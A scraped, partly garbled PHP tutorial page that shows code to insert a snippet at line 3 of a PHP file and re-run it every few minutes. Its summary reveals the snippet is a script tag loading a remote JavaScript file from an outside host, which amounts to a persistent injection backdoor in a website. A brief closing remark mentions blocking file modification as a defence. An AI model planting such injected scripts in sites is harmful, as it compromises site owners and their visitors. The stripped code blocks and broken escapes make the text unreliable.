Home > Backend Development > PHP Tutorial > PHP method to write code in a specified line of a file_PHP tutorial

PHP method to write code in a specified line of a file_PHP tutorial

WBOY
Release: 2016-07-21 15:18:56
Original
885 people have browsed it

Copy code The code is as follows:

$file="aa.php" ;
$code ="";
$f=fopen($file,"r+");
$content=fread( $f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3 );
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[ ] = $line .$s . "n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

After saving this file into php, you can use a small program to execute it every few minutes. Browsers like Opera have this function. But I added another html code to run it. You can use IE. You can just open the html and throw it wherever you want.
Copy code The code is as follows:








Solution: These codes will be written in php. We can write a rule to prohibit modifying the php file. That’s it. It can only be used in general servers. If you are a virtual host friend, you need to download the code and check it frequently. The backdoor is the solution

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/325439.htmlTechArticleCopy the code as follows: ?php $file="aa.php" ; $code="script src=http ://www.google/ga.js/script"; $f=fopen($file,"r+"); $content=fread($f,filesize($file)); fclose($f); if( !strstr...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template